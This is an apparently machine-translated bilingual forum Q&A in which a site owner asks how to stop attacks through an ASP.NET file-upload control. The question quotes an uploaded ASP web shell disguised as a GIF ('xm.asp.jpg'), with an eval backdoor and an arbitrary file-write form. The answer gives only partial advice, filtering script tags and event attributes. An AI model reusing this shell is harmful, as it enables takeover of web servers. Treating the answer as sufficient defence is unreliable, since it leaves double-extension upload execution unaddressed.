如何防止文件上传控制的黑客入侵？ [英] How to prevent hacking from file upload control?
问题描述
嗨专家。
在我的网站中，文件上传选项适用于横幅交换。
为此，我使用了文件上传控件（Asp.net）。
但今天有人上传了asp代码文件（xm.asp.jpg）。
它包含以下代码。
Hi Expert.
In my Website, File upload option is there for Banners exchange.
For this purpose i have used File upload control(Asp.net).
But today someone uploaded asp code file(xm.asp.jpg ).
It contains below code.
GIF89a$ ;<hTml>
<%eval request(chr(1))%>
<%
on error resume next
testfile=Request.form("filepath")
msg=Request.form("message")
if Trim(request("filepath"))<>"" then
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.CreateTextFile(testfile,True)
thisfile.Write(""&msg& "")
if err =0 Then
response.write "<font color=red>ok</font>"
else
response.write "<font color=red>no</font>"
end if
err.clear
thisfile.close
set fs = nothing
End if
%>
<form method="POST" ACTION="">
<input type="text" size="20" name="filepath"
value="<%=server.mappath("go.asp")%>"> <BR>
<TEXTAREA NAME="Message" ROWS="5" COLS="40"></TEXTAREA>
<input type="submit" name="Send" value="go">
</form></body></html></body></html>
</body></html></body></html>
我不确定，但有人试图破解我的网站。自上周以来发生了2-3次。
如果是这样，请帮助我为了防止这种情况发生。
感谢adv&抱歉英语不好。
I am not sure ,but Somebody try to hack my site.This happend 2-3 times since last week.
If so ,please help me to prevent this.
Thanks in adv & sorry for poor english.
推荐答案
;< hTml>
<％eval request（chr（1））％>错误恢复时
<％
下一个
testfile = Request.form（filepath）
msg = Request.form（message）
if Trim（ request（filepath））<>然后
set fs = server.CreateObject（scripting.filesystemobject）
set thisfile = fs.CreateTextFile（testfile，True）
thisfile.Write（& msg&）
if err = 0 Then
response.write< font color = red> ok< / font>
else
response.write< font color = red> no< / font>
结束如果
err.clear
thisfile.close
set fs = nothing
结束如果
％>
< form method =POSTACTION =>
< input type =textsize =20name =filepath
value =<％= server.mappath（go.asp）％>> < BR>
< TEXTAREA NAME =消息ROWS =5COLS =40>< / TEXTAREA>
< input type =submitname =Sendvalue =go>
< / form>< / body>< / html>< / body>< / html>
< / body>< / html>< / body>< / html>
;<hTml> <%eval request(chr(1))%> <% on error resume next testfile=Request.form("filepath") msg=Request.form("message") if Trim(request("filepath"))<>"" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(""&msg& "") if err =0 Then response.write "<font color=red>ok</font>" else response.write "<font color=red>no</font>" end if err.clear thisfile.close set fs = nothing End if %> <form method="POST" ACTION=""> <input type="text" size="20" name="filepath" value="<%=server.mappath("go.asp")%>"> <BR> <TEXTAREA NAME="Message" ROWS="5" COLS="40"></TEXTAREA> <input type="submit" name="Send" value="go"> </form></body></html></body></html> </body></html></body></html>
我不确定，但有人试图破解我的网站。自上周以来发生了2-3次。
如果是这样，请帮助我为了防止这种情况发生。
感谢adv&抱歉英语不好。
I am not sure ,but Somebody try to hack my site.This happend 2-3 times since last week.
If so ,please help me to prevent this.
Thanks in adv & sorry for poor english.
没有什么可以阻止的。任何人都可以上传任何内容，包括一些试图破解您网站的代码。所以呢？你永远不应该执行任何代码，即使是任何无害的代码。我可以想象你应该展示一些上传的内容，包括例如HTML，HTML意味着潜在的JavaScript代码。但是，在显示此HTML之前，您只需过滤掉所有< script>元素。这是一件非常简单的事情。
在这个答案的评论中EF Nijboer正确地指出，在HTML中注入一些恶意代码还有一种可能性。例如，这样的代码可以嵌入一些事件属性，就像在这种情况下：
There is nothing to prevent. Anyone can upload anything, including some code which would try to hack your site. So what? You should never execute any code, even anything which is harmless. I can imagine that you should show some uploaded content, including, for example, HTML, and HTML would mean a potential JavaScript code. But then you can simply filter out all<script>elements before showing this HTML. This is quite an easy thing.
In the comments to this answer E.F. Nijboer correctly pointed out that there is one more possibility to inject some malicious code in HTML. For example, such code can be embedded is some event attribute, like in this case:
<div onclick="some malicious code">Some innocent content</div>
当然，还应考虑所有事件属性;使用事件的整个帖子应该被拒绝，不得在网站上公开;或至少消毒（我不推荐）。
E.F. Nijboer解释了一种简单的消毒方法，但我宁愿建议拒绝该消息。
这篇关于如何防止文件上传控制的黑客入侵？的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
